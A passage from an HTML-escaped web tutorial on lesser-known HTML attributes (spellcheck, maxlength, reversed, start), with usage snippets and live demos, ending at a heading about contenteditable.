&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Spellcheck in most browsers will be enabled by default, so you probably won&amp;rsquo;t need to use the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;true&lt;/code&gt;&amp;nbsp;value, but there are some times when using the attribute set to&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;false&lt;/code&gt;&amp;nbsp;will come in handy. For example, many people make up their own usernames, so if you&amp;rsquo;ve got a text field for people to enter their username, you&amp;rsquo;ll probably want to disable spellcheck so that people&amp;rsquo;s usernames don&amp;rsquo;t get flagged as unrecognized words.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;spellcheck&lt;/code&gt;&amp;nbsp;attribute&amp;nbsp;is extra nifty because it doesn&amp;rsquo;t just save time, but does something that wouldn&amp;rsquo;t be at all possible without it &amp;ndash; not even with JavaScript.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;spellcheck&lt;/code&gt;&amp;nbsp;attribute is supported by Opera, Google Chrome and Safari, but&amp;nbsp;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;not&lt;/em&gt;&amp;nbsp;by Mozilla Firefox or Internet Explorer.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Live Demo&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;textarea style=&quot;border-width: 1px; border-style: solid; border-color: rgb(170, 170, 170) rgb(221, 221, 221) rgb(221, 221, 221) rgb(170, 170, 170); margin: 0px; padding: 0px; color: rgb(68, 68, 68); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 1em; background-color: rgb(238, 238, 238);&quot; spellcheck=&quot;true&quot;&gt;&lt;/textarea&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;
&lt;textarea style=&quot;border-width: 1px; border-style: solid; border-color: rgb(170, 170, 170) rgb(221, 221, 221) rgb(221, 221, 221) rgb(170, 170, 170); margin: 0px; padding: 0px; color: rgb(68, 68, 68); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 1em; background-color: rgb(238, 238, 238);&quot; spellcheck=&quot;false&quot;&gt;&lt;/textarea&gt;&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;4. The Maxlength Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The final attribute for text fields that I&amp;rsquo;m covering here is the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;maxlength&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute. This attribute sets a limit on the number of characters you can enter into a text field.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;input type=&amp;quot;text&amp;quot; maxlength=&amp;quot;20&amp;quot; /&amp;gt; &amp;lt;!-- Works with input of any type --&amp;gt; &amp;lt;textarea maxlength=&amp;quot;20&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;In the examples above, the limits on the lengths of the inputs are both 20 characters. The need to set a limit comes up a lot on websites, such as for username length or email message length, and the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;maxlength&lt;/code&gt;attribute does exactly that.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This attribute is a real time-saver, since it does an important part of form validation for you. If it didn&amp;rsquo;t exist, you might need to check the input lengths server-side, and this not only wastes time for you (since you&amp;rsquo;d have to write extra code), but it wastes time for your users as well.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;(Ed note: Best practice is not to rely on client-side validation alone: it&amp;rsquo;s just too east to get around. The security brought by server-side validation is worth any extra time it takes to set up and implement.)&lt;/em&gt;&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;maxlength&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute is supported by all five major browsers. Hooray!&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Live Demo&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;input style=&quot;border-width: 0.06em; border-style: solid; border-color: rgb(170, 170, 170) rgb(221, 221, 221) rgb(221, 221, 221) rgb(170, 170, 170); margin: 0px; padding: 0.2em; width: 319.5px; color: rgb(68, 68, 68); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 1em; background-color: rgb(238, 238, 238);&quot; type=&quot;text&quot; maxlength=&quot;16&quot; value=&quot;Maximum 16 chara&quot; /&gt;&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;5. The Reversed Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;When we think of&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;ol&amp;gt;&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;ordered lists, we normally think of lists starting at 1 and counting up. But did you know that including&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;reversed&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute on your&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;ol&amp;gt;&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;element allows your ordered list to count&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;down&lt;/em&gt;?&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;reversed&lt;/code&gt;&amp;nbsp;attribute is a boolean attribute, meaning that it will do its job no matter what value you give it.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;ol reversed=&amp;quot;&amp;quot;&amp;gt;     &amp;lt;li&amp;gt;Number 3&amp;lt;/li&amp;gt;     &amp;lt;li&amp;gt;Number 2&amp;lt;/li&amp;gt;     &amp;lt;li&amp;gt;Number 1&amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;No more manually writing out your numbered list whenever you want it to count down. The&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;reversed&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute saves you a lot of time by doing the grunt work for you.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The one downside is that the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;reversed&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute, as useful as it is, is currently only supported in Google Chrome.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Live Demo&lt;/h3&gt;
&lt;ol style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; reversed=&quot;&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;The number of list items is the starting number,&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;and then it counts down&amp;hellip;&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&amp;hellip;to 1.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;6. The Start Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;start&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute is also used on&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;ol&amp;gt;&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;elements, and specifies a starting number other than 1.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;ol start=&amp;quot;6&amp;quot;&amp;gt;     &amp;lt;li&amp;gt;Number 6&amp;lt;/li&amp;gt;     &amp;lt;li&amp;gt;Number 7&amp;lt;/li&amp;gt;     &amp;lt;li&amp;gt;Number 8&amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This attribute is useful if you want to break up an ordered list into separate sections, where each section picks up from where the previous one left off. Again, no more manually writing out your numbered lists.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;start&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute is supported by all five major browsers. Hooray!&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Live Demo&lt;/h3&gt;
&lt;ol style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; start=&quot;6&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Where&amp;rsquo;s number 1?&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Where&amp;rsquo;s number 2?&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Where&amp;rsquo;s number 3?&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Where&amp;rsquo;s number 4?&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Where&amp;rsquo;s number 5?&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;You can even use the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;start&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute together with the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;reversed&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute! The following list starts at 2 and then counts back in reverse order&amp;hellip;&lt;/p&gt;
&lt;ol style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; start=&quot;2&quot; reversed=&quot;&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Number 2&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Number 1&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Number 0&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Number -1&lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;Number -2&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;BONUS: The Contenteditable Attribute&lt;/h2&gt;
